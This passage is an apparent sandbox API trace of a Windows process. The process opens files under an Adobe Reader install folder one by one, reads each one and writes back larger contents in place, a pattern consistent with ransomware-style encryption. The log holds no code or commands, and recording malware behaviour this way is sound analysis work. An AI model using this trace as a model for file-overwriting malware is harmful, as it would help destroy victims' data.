(hMutex=0x128) returned 1 [0041.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.EUQ", lpUsedDefaultChar=0x0) returned 16 [0041.776] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.778] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.778] CloseHandle (hObject=0x1ac) returned 1 [0041.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.779] ReleaseMutex (hMutex=0x128) returned 1 [0041.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SVE", lpUsedDefaultChar=0x0) returned 16 [0041.779] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.783] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.783] CloseHandle (hObject=0x1ac) returned 1 [0041.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Mcimpp.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\mcimpp.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2000 [0041.784] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.784] ReleaseMutex (hMutex=0x128) returned 1 [0041.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.HUN", lpUsedDefaultChar=0x0) returned 10 [0041.784] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.785] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.785] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.786] CloseHandle (hObject=0x1ac) returned 1 [0041.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\WindowsMedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\windowsmedia.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.786] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.786] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.787] ReleaseMutex (hMutex=0x128) returned 1 [0041.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUM", lpUsedDefaultChar=0x0) returned 16 [0041.787] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.788] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.788] CloseHandle (hObject=0x1ac) returned 1 [0041.789] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\MCIMPP.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\mcimpp.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.789] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2000 [0041.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.790] ReleaseMutex (hMutex=0x128) returned 1 [0041.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SLV", lpUsedDefaultChar=0x0) returned 10 [0041.790] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.791] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.792] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.792] CloseHandle (hObject=0x1ac) returned 1 [0041.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.793] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.793] ReleaseMutex (hMutex=0x128) returned 1 [0041.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.UKR", lpUsedDefaultChar=0x0) returned 16 [0041.793] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.794] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.794] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.795] CloseHandle (hObject=0x1ac) returned 1 [0041.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x29463 [0041.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.795] ReleaseMutex (hMutex=0x128) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x1e6338c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.api", lpUsedDefaultChar=0x0) returned 11 [0041.795] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.797] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x28463 [0041.797] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.212] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x28463 [0042.213] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.213] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.213] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.239] CloseHandle (hObject=0x1ac) returned 1 [0042.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.257] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.257] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1a4 [0042.258] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.259] ReleaseMutex (hMutex=0x128) returned 1 [0042.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pmd.cer", lpUsedDefaultChar=0x0) returned 7 [0042.259] ReadFile (in: hFile=0x1ac, lpBuffer=0x27ceb88, nNumberOfBytesToRead=0x1a4, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ceb88*, lpNumberOfBytesRead=0x318f2bc*=0x1a4, lpOverlapped=0x0) returned 1 [0042.260] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0042.260] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x72c, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x318f2d0*=0x72c, lpOverlapped=0x0) returned 1 [0042.260] CloseHandle (hObject=0x1ac) returned 1 [0042.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.260] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.260] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x335 [0042.261] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.261] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.261] ReleaseMutex (hMutex=0x128) returned 1 [0042.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0042.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="distribute_form.gif", lpUsedDefaultChar=0x0) returned 19 [0042.261] ReadFile (in: hFile=0x1ac, lpBuffer=0x2750b98, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750b98*, lpNumberOfBytesRead=0x318f2bc*=0x335, lpOverlapped=0x0) returned 1 [0042.262] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0042.262] WriteFile (in: hFile=0x1ac, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8bd, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x318f2d0*=0x8bd, lpOverlapped=0x0) returned 1 [0042.263] CloseHandle (hObject=0x1ac) returned 1 [0042.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.263] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.263] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2e9a [0042.263] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.263] ReleaseMutex (hMutex=0x128) returned 1 [0042.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0042.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x1e6338c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0042.263] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.265] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e9a [0042.265] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.265] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e9a [0042.266] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.266] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.266] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.266] CloseHandle (hObject=0x1ac) returned 1 [0042.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.267] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.267] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x555 [0042.267] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, 